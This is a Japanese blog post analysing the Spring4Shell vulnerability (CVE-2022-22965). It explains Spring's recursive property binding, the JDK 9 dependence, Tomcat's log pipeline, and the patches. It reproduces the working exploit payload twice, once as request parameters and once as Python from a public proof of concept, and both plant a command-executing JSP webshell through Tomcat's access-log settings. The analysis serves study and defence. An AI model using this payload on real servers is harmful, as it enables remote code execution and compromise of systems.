🌟

Spring4Shell の任意コード実行でわかったことをまとめる!

2022/04/06に公開

注意!

こちらの記事は自分の解釈を多く含みます。
十分に注意し、念のため検証してから情報を利用してください!

この記事の内容と対象

この記事では、以下の内容に触れます。攻撃原理をわかった範囲でまとめるので、なにかのお役に立てば幸いです。

  • Spring4Shellの脆弱性の全体像
  • なぜJDK9.0以上のみ限定なの?
  • なぜtomcatで影響は受けているの?ほかは?

脆弱性の概要

SpringShell RCE vulnerability: Guidance for protecting against and detecting CVE-2022-22965 によると 以下の条件を満たしているときに 任意コード実行 につながると書かれています。

  • Running JDK 9.0 or later
  • Spring Framework versions 5.3.0 to 5.3.17, 5.2.0 to 5.2.19, and earlier versionsApache Tomcat as the Servlet container
  • Apache Tomcat as the Servlet container
  • Packaged as a traditional Java web archive (WAR) and deployed in a standalone Tomcat instance; typical Spring Boot deployments using an embedded Servlet container or reactive web server are not impacted
  • Tomcat has spring-webmvc or spring-webflux dependencies

実際にPoCも公開されており、ぱっと調べただけでも以下の3つのリポジトリが引っかかりました。

2022/04/06の時点で特に安定して動作するのはreznokさんのPoCなので、動作確認(絶対に悪用厳禁!)する場合はこちらのものをおすすめします。

springがリクエストを受けてから任意コード実行につながるまでの流れ

kurenaifがspringにあまり詳しくなく、内容が完全ではないかもしれないので、もし解釈に間違いがある場合は教えていただけると嬉しいです。

この脆弱性を学ぶ上で、以下のようにControllerを定義したときに、Springがどのようにリクエストを処理するかを理解する必要があります。 ソースコードは rapid7 のものを一部引用し変更を加えました。

// HelloWorld.java
public class HelloWorld {
	private String message;

	public void setMessage(String message) {
		this.message = message;
	}
}

// HelloWorldController.java
	@RequestMapping("/rapid7")
	public void vulnerable(HelloWorld model) {
	}
  1. Springがパスからリクエストに対応するModelを判別する
  2. BindするプロパティをModelのメソッドから検索し、該当する変数に代入する
  3. vulnerable() メソッドに値が代入された状態で呼び出される

例えば、以下のようなリクエストを送信したときは、

curl http://localhost:8080/vulnerable-1.0.0.0/rapid7 -X POST -d "message=hello"
  1. rapid7というpath名からそれに関連付けられるControllerを探し、その引数にあるHelloWorld という Model を見つけ出す
  2. message=hello という構文から、setMessage メソッドを探し出す。 setMessage が存在する場合、setMessage("hello") を呼び出し、messagehelloを代入する
  3. vulnearble() メソッドが呼び出され、以下のようになる。

2が明らかにヤバそうな雰囲気漂ってますよね。実はここの処理で脆弱性が起こっています。この脆弱性を深掘りするために、2の挙動をもう少し深掘りしましょう。

2は内部的に、以下のようなことを行っています。

2.1. HelloWorldというModelのBeanWrapperを作る
2.2. BeanWrapperの機能を使って文字列情報を使い、再帰的 にオブジェクトを検索し、最後の要素になったタイミングで代入を行う。

ここで1つ目のポイントは、再帰的にオブジェクトを検索するという部分です。ここを詳細に追っていきましょう

再帰的にオブジェクトを検索する

具体的に値を入れて検証してみましょう。ここで、実際に任意コード実行につながるケースで紹介しましょう。message=hello の代わりに以下のように値を代入してみましょう

class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22j%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di
&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp
&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT
&class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar
&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=

今度は値が5つに増え(ここはあまり本質ではありませんが…)、さらに message の部分が.で区切られてnestしていることがわかります。実は、これを解決するとき、このように.で区切られていてもネストして解決してくれるような構造になっています。

入力されたリクエストはデータバインドが必要であるとわかった場合、DataBinderのdoBind というメソッドに入っていきます。

	protected void doBind(MutablePropertyValues mpvs) {
		checkAllowedFields(mpvs);
		checkRequiredFields(mpvs);
		applyPropertyValues(mpvs);
	}

そして、このapplyPropertyValuesメソッドの中で、setPropertyValue というメソッドを呼び出し、指定したpropertyへと代入します。

そしてプログラムは進むと、getPropertyAccessorForPropertyPath へと進みます。最初に呼び出されたタイミングでは、引数はclass.module.classLoader.resources.context.parent.pipeline.first.patternになっています。 この関数を見てみると、ざっくり以下のような処理になっています。

  1. getFirstNestedPropertySeparatorIndex メソッドで.の位置を検索
  2. .までと.以降を分離する
  3. .まで(class)は getNestedPropertyAccessor() でpropertyを取得する
  4. .以降(module.classLoader.resources.context.parent.pipeline.first.pattern)は 再帰的に 呼び出す
	protected AbstractNestablePropertyAccessor getPropertyAccessorForPropertyPath(String propertyPath) {
		int pos = PropertyAccessorUtils.getFirstNestedPropertySeparatorIndex(propertyPath);
		// Handle nested properties recursively.
		if (pos > -1) {
			String nestedProperty = propertyPath.substring(0, pos);
			String nestedPath = propertyPath.substring(pos + 1);
			AbstractNestablePropertyAccessor nestedPa = getNestedPropertyAccessor(nestedProperty);
			return nestedPa.getPropertyAccessorForPropertyPath(nestedPath);
		}
		else {
			return this;
		}
	}

では、getNestedPropertyAccessorメソッドは何をしているのでしょうか?
今、このクラスが持っている情報は2つです。

  1. path名から判別した HelloWorld (Modelですね)
  2. "class" という文字列

以上の2つの情報から、HelloWorldgetClass() を呼び出し、classのインスタンスを取得してしまうのです!!!すごい!これを実現するのがBeanなんですね。

中の挙動はしっかり把握してませんが、与えられたインスタンスに対してJavaの getMethods() メソッドを呼び出し、メソッドを列挙した後 get~~~~ みたいなメソッド名を文字列検索して、例えば「getClassであればclassreadgetClass()を呼ぶ。」みたいなものをキャッシュするようなものになっているように見えました。実はここの挙動がイマイチわかっておらず、わかる人がいたら教えてください。(jdk7のものですが、こちらを見ていました https://github.com/openjdk-mirror/jdk7u-jdk/blob/master/src/share/classes/java/beans/Introspector.java)

ソースコードで追っていきましょう。getPropertyValue 内では、actualName(=class)を引数に、PropertyHandler という情報を得ることに成功しています。このPropertyHandlerというものが、classに関する読み書きの手法を記録しているもので、内部を見てみると、、、

readable=true
writeable=false

と書かれていますね、これはreadonlyであるよということが書かれています。具体的にどのような手法でreadできるかは、こちらのreadMethodというpropertyに書かれており、このメソッドを通じて読み込むことができるようになっています。

そして ph.getValue()getClass() メソッドを間接的に呼び出し、classを取得することに成功しています。

このような呼び出しを再帰的に行うことで、

getClass().getModule().getClassLoader()...

と言ったメソッドチェーンを実現している。というのが脆弱性のある状態のSpringFrameworkの内部実装になっていました。

ここまで理解できると、実はJDK9以降でのみ影響する理由がわかります。このgetModule()メソッドは、JDK9以降のみ使える機能なのです。

JDKのページを見ると、9以降と書かれていますね。

さて、このように再帰的に解決した結果のオブジェクトが最終的には nestedPa に代入され、setPropertyValue が呼ばれています。この nestedPa には先程説明したオブジェクトへのread方法write方法 が入っています。ここからパラメータが代入されてしまうのは、想像に容易いですね。

ちなみにですが、このread方法、write方法は最初に必要になったときのみ計算され、あとはcacheされるようになっています。なので、この方法がいかにして生成されているかまで追う場合はサーバーを再起動等しなければ再計算されないのでご注意ください。ここで 生成されていることはわかっているので、なにかわかる方がいたら教えてくれたら幸いです。

さて、ここまで起きたことをまとめると、BeanがHelloWorldのget~~~~メソッドを全部読み込んじゃって、getClass()まで呼び出せるようになってしまっていた。そこから、helloWorld.getClass().getModule().getClassLoader().とやると、classLoaderの値を書き換えられるようになっちゃった!という状況になっています。ここからtomcatを利用していると、任意コード実行 につながってしまいます。なぜそのようなことが起きるのかを解説していきましょう。

tomcatにおいてclassLoaderの値をいじられるとどのようなことが起きるのか?

まずはこのclassLoaderを変更することで、攻撃コードが何をしているかを解説しましょう。ここでは、reznokさんの攻撃コードで解説します。

この攻撃コードでやりたいことは、中身を<%任意のコード%>にした.jspファイルを/webapps/ROOT配下に設置する ことです。これを、

  • ログの書き込み先のディレクトリ・ファイル名を変更する
  • ログの内容を変更する

ことで、実現しています。つまり、この脆弱性は、classLoaderでtomcatの設定をいじり、ログとして.jspファイルを書き出すことで任意コード実行につなげているものになります。ただ、%を含んだ文字列を書き込もうとすると何故かうまくいかないので、ちょっと工夫する必要はあります。おおよそ中身を見たら何をしているかわかると思うので、詳細な説明は省略します。patternはhttps://tomcat.apache.org/tomcat-8.0-doc/config/valve.html を表していて、この攻撃コードではクエリパラメータから値を受け取りコマンドを実行するwebshellになっています。

    log_pattern = "class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bprefix%7Di%20" \
                  f"java.io.InputStream%20in%20%3D%20%25%7Bc%7Di.getRuntime().exec(request.getParameter" \
                  f"(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B" \
                  f"%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%25%7Bsuffix%7Di"

    log_file_suffix = "class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp"
    log_file_dir = f"class.module.classLoader.resources.context.parent.pipeline.first.directory={directory}"
    log_file_prefix = f"class.module.classLoader.resources.context.parent.pipeline.first.prefix={filename}"
    log_file_date_format = "class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat="

いま時点で、classLoaderとはリソースにアクセスすることができるものという雑な理解で、正直まだ解像度が低いです。ここを教えてくれる人がいたら嬉しいです。

では、classLoader以降のcontextparentpipelineが何を表しているのか説明しましょう。

実は、このcontextはtomcatのContextを表していて、parentはHostを表しています。

このHostpipelineを持っています。このpipelineというのが、データを処理する一連の流れで、pipelineのfirstを覗いてみると、AccessLogValueにたどり着くことができました。
中に入っている値から、ログファイルの設定であり、こちらを変更することでログ設定を変更できることが予想できます。

つまり、この脆弱性の全体像は以下のように整理することができます。

  1. springFrameworkのDataBinding時に、Beanを使って再帰的にpropertyを解決してしまう仕組みで、classLoaderまでたどり着けてしまった。
  2. tomcatでclassLoaderまでたどり着けると、tomcatのpipeline(一連のデータの流れ)を変更することができ、その内ログをつかさどるデータを書き換えることで、.jspを任意のディレクトリに吐き出せるようになってしまった
  3. .jspの内部で<%%>が存在していると、javaのコードとして実行してしまうので、攻撃者は任意の.javaのコードを実行できる事になってしまう。

修正内容

springFramework側

springFrameworkでは、こちらのコミット にて修正されておりました。

このコードが修正された場所は、classに紐づくreadとwriteをするメソッドを保存しておく場所です。ここにメソッドが保存されなければ、readもwriteも検索にかからないので、実施することができません。この修正では、classLoaderを検索から除外するようにしています。

このコードを見たとき、一瞬「え、"classLoader"防がれてるじゃん」と思ったのですが、よく見てみると、Class.classのときのみ防止されています。つまり、moudle経由だとclassLoaderはブロッキングされないんですね。これでclassLoaderが書き込まれなくなったみたいですね。(でもまだ油断は禁物!)

springFramework側でバージョンアップをすることで、同じコードが刺さらないことは確認しました。

tomcat側

世間ではspring側が注目されていますが、tomcat側もclassLoaderがいじられても大丈夫なようにしているみたいです。

https://tomcat.apache.org/tomcat-9.0-doc/changelog.html#Tomcat_9.0.62_(remm)

Add: Effectively disable the WebappClassLoaderBase.getResources() method as it is not used and if something accidently exposes the class loader this method can be used to gain access to Tomcat internals. (markt)

と書かれていますね。

tomcat側もバージョンアップでとりあえず同じ攻撃手法では刺さらないことは確認しました。

感想

こういうdesrialize系は脆弱性を埋め込みやすいですが、ここまで根本のところで利用されているとかなり修正難易度が高いイメージがあります。この脆弱性でspringFrameworkとjavaにまた少し詳しくなれた気がしました。

こちらのブログは、こちらの放送で検証、執筆しています。もし過程が気になる人がいたら、ぜひ見てみてください!作業用BGMに是非どうぞw!

https://www.youtube.com/watch?v=-3XEXj6CD-w&feature=youtu.be

Discussion